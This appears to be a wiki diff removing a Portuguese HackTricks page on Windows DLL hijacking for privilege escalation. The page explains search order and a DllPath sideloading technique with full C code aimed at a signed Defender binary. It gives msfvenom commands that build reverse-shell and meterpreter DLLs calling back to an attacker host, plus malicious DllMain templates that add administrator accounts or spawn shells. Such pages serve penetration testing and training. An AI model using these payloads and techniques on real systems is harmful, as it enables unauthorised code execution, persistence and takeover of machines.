- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
|
||||
- [Samba – net rpc (group membership)](https://www.samba.org/)
|
||||
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,320 +0,0 @@
|
||||
# Dll Hijacking
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
DLL Hijacking envolve manipular um aplicativo confiável para carregar um DLL malicioso. Este termo abrange várias táticas como **DLL Spoofing, Injection, and Side-Loading**. É usado principalmente para code execution, alcançar persistence e, menos comumente, privilege escalation. Apesar do foco em escalation aqui, o método de hijacking permanece consistente entre os objetivos.
|
||||
|
||||
### Técnicas Comuns
|
||||
|
||||
Vários métodos são empregados para DLL hijacking, cada um com sua eficácia dependendo da estratégia de carregamento de DLL do aplicativo:
|
||||
|
||||
1. **DLL Replacement**: Trocar um DLL legítimo por um malicioso, opcionalmente usando DLL Proxying para preservar a funcionalidade do DLL original.
|
||||
2. **DLL Search Order Hijacking**: Colocar o DLL malicioso em um caminho de busca antes do legítimo, explorando o padrão de busca do aplicativo.
|
||||
3. **Phantom DLL Hijacking**: Criar um DLL malicioso para que o aplicativo o carregue, achando que se trata de um DLL requerido inexistente.
|
||||
4. **DLL Redirection**: Modificar parâmetros de busca como `%PATH%` ou arquivos `.exe.manifest` / `.exe.local` para direcionar o aplicativo para o DLL malicioso.
|
||||
5. **WinSxS DLL Replacement**: Substituir o DLL legítimo por um equivalente malicioso no diretório WinSxS, um método frequentemente associado com DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Colocar o DLL malicioso em um diretório controlado pelo usuário junto com o aplicativo copiado, assemelhando-se a técnicas de Binary Proxy Execution.
|
||||
|
||||
## Encontrando Dlls ausentes
|
||||
|
||||
A maneira mais comum de encontrar Dlls faltantes em um sistema é executar [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) do sysinternals, **configurando** os **seguintes 2 filtros**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
e simplesmente mostrar a **File System Activity**:
|
||||
|
||||
.png>)
|
||||
|
||||
Se você está procurando por **missing dlls in general** deixe isso rodando por alguns **seconds**.\
|
||||
Se você está procurando por um **missing dll inside an specific executable** você deve setar **outro filtro como "Process Name" "contains" "\<exec name>", executá-lo, e parar a captura de eventos**.
|
||||
|
||||
## Explorando Dlls ausentes
|
||||
|
||||
Para escalate privileges, nossa melhor chance é conseguir escrever um dll que um processo privilegiado tentará carregar em algum dos locais onde ele será procurado. Assim, poderemos escrever um dll em uma pasta onde o dll é pesquisado antes da pasta onde o dll original está (caso estranho), ou poderemos escrever em alguma pasta onde o dll será procurado e o dll original não existe em nenhuma pasta.
|
||||
|
||||
### Dll Search Order
|
||||
|
||||
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
||||
|
||||
Aplicações Windows procuram DLLs seguindo um conjunto de caminhos de busca predefinidos, obedecendo a uma sequência particular. O problema de DLL hijacking surge quando um DLL malicioso é colocado estrategicamente em um desses diretórios, garantindo que seja carregado antes do DLL autêntico. Uma solução para prevenir isso é garantir que o aplicativo use caminhos absolutos ao referenciar os DLLs que necessita.
|
||||
|
||||
Você pode ver a **DLL search order on 32-bit** systems abaixo:
|
||||
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
Essa é a ordem de busca padrão com o SafeDllSearchMode habilitado. Quando está desabilitado, o diretório atual sobe para a segunda posição. Para desativar esse recurso, crie o valor de registro HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\\SafeDllSearchMode e defina-o como 0 (o padrão é habilitado).
|
||||
|
||||
If [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) function is called with **LOAD_WITH_ALTERED_SEARCH_PATH** the search begins in the directory of the executable module that **LoadLibraryEx** is loading.
|
||||
|
||||
Finalmente, note que um dll pode ser carregado indicando o caminho absoluto em vez de apenas o nome. Nesse caso esse dll será buscado somente nesse caminho (se o dll tiver dependências, elas serão buscadas como carregadas apenas pelo nome).
|
||||
|
||||
Existem outras maneiras de alterar a ordem de busca, mas não vou explicá-las aqui.
|
||||
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdll’s native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory.
|
||||
|
||||
Key idea
|
||||
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
|
||||
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
|
||||
|
||||
Notes/limitations
|
||||
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
|
||||
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
|
||||
|
||||
Minimal C example (ntdll, wide strings, simplified error handling):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Exemplo de uso operacional
|
||||
- Coloque um xmllite.dll malicioso (exportando as funções necessárias ou proxyando para o real) no seu diretório DllPath.
|
||||
- Inicialize um signed binary conhecido por procurar xmllite.dll pelo nome usando a técnica acima. O loader resolve a importação via o DllPath fornecido e sideloads sua DLL.
|
||||
|
||||
Essa técnica foi observada in-the-wild para conduzir cadeias de multi-stage sideloading: um launcher inicial deixa uma DLL auxiliar, que então instancia um binário assinado pela Microsoft, hijackable, com um DllPath customizado para forçar o carregamento da DLL do atacante a partir de um diretório de staging.
|
||||
|
||||
|
||||
#### Exceções na ordem de busca de dll segundo a documentação do Windows
|
||||
|
||||
Certas exceções à ordem padrão de busca de DLL são observadas na documentação do Windows:
|
||||
|
||||
- Quando uma **DLL que compartilha seu nome com uma já carregada na memória** é encontrada, o sistema contorna a busca usual. Em vez disso, ele realiza uma verificação por redirecionamento e um manifesto antes de recorrer à DLL já presente na memória. **Nesse cenário, o sistema não realiza uma busca pela DLL**.
|
||||
- Nos casos em que a DLL é reconhecida como uma **Known DLL** para a versão atual do Windows, o sistema utilizará sua versão da known DLL, juntamente com quaisquer DLLs dependentes, **abrindo mão do processo de busca**. A chave de registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contém a lista dessas known DLLs.
|
||||
- Caso uma **DLL possua dependências**, a busca por essas DLLs dependentes é conduzida como se elas fossem indicadas apenas pelos seus **nomes de módulo**, independentemente de a DLL inicial ter sido identificada por um caminho completo.
|
||||
|
||||
### Escalada de privilégios
|
||||
|
||||
**Requisitos**:
|
||||
|
||||
- Identificar um processo que opera ou operará sob **privilégios diferentes** (movimentação horizontal ou lateral), que esteja **faltando uma DLL**.
|
||||
- Garantir que haja **acesso de escrita** em qualquer **diretório** no qual a **DLL** será **procurada**. Esse local pode ser o diretório do executável ou um diretório dentro do system path.
|
||||
|
||||
Sim, os requisitos são complicados de encontrar pois **por padrão é meio estranho encontrar um executável privilegiado sem uma dll** e é ainda **mais estranho ter permissões de escrita em uma pasta do system path** (você não tem por padrão). Mas, em ambientes mal configurados isso é possível.\
|
||||
Caso você tenha sorte e encontre os requisitos cumpridos, você pode checar o projeto [UACME](https://github.com/hfiref0x/UACME). Mesmo que o **objetivo principal do projeto seja bypass UAC**, você pode encontrar lá um **PoC** de um Dll hijaking para a versão do Windows que você pode usar (provavelmente apenas mudando o caminho da pasta onde você tem permissões de escrita).
|
||||
|
||||
Note que você pode **check your permissions in a folder** doing:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
E **verifique as permissões de todas as pastas dentro do PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Você também pode verificar os imports de um executable e os exports de uma dll com:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Para um guia completo sobre como **abusar Dll Hijacking para escalar privilégios** com permissões para escrever em uma **System Path folder** consulte:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Ferramentas automatizadas
|
||||
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) verificará se você tem permissões de escrita em qualquer pasta dentro do system PATH.\
|
||||
Outras ferramentas automatizadas interessantes para descobrir essa vulnerabilidade são as **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ e _Write-HijackDll._
|
||||
|
||||
### Exemplo
|
||||
|
||||
Caso encontre um cenário explorável, uma das coisas mais importantes para explorá-lo com sucesso é **criar uma dll que exporte pelo menos todas as funções que o executável irá importar dela**. De qualquer forma, note que Dll Hijacking é útil para [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) ou de[ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** Você pode encontrar um exemplo de **how to create a valid dll** dentro deste estudo sobre dll hijacking focado em dll hijacking para execução: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Além disso, na **próxima seção** você pode encontrar alguns **códigos dll básicos** que podem ser úteis como **templates** ou para criar uma **dll que exporte funções não requeridas**.
|
||||
|
||||
## **Criando e compilando Dlls**
|
||||
|
||||
### **Dll Proxifying**
|
||||
|
||||
Basicamente um **Dll proxy** é uma Dll capaz de **executar seu código malicioso quando carregada** mas também de **expor** e **funcionar** como esperado, **encaminhando todas as chamadas para a biblioteca real**.
|
||||
|
||||
Com a ferramenta [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ou [**Spartacus**](https://github.com/Accenture/Spartacus) você pode de fato **indicar um executável e selecionar a biblioteca** que deseja proxificar e **gerar uma dll proxificada** ou **indicar a Dll** e **gerar uma dll proxificada**.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Get rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Obter um meterpreter (x86):**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Criar um usuário (x86 — não vi uma versão x64):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Seu próprio
|
||||
|
||||
Observe que, em vários casos, a Dll que você compila deve **export several functions** que serão carregadas pelo victim process; se essas funções não existirem, **binary won't be able to load** elas e **exploit will fail**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
switch(dwReason){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
system("whoami > C:\\users\\username\\whoami.txt");
|
||||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
if (dwReason == DLL_PROCESS_ATTACH){
|
||||
system("cmd.exe /k net localgroup administrators user /add");
|
||||
ExitProcess(0);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
||||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
int owned()
|
||||
{
|
||||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
||||
exit(0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
||||
{
|
||||
owned();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//Another possible DLL
|
||||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
||||
|
||||
#include<windows.h>
|
||||
#include<stdlib.h>
|
||||
#include<stdio.h>
|
||||
|
||||
void Entry (){ //Default function that is executed when the DLL is loaded
|
||||
system("cmd");
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
switch (ul_reason_for_call){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DEATCH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user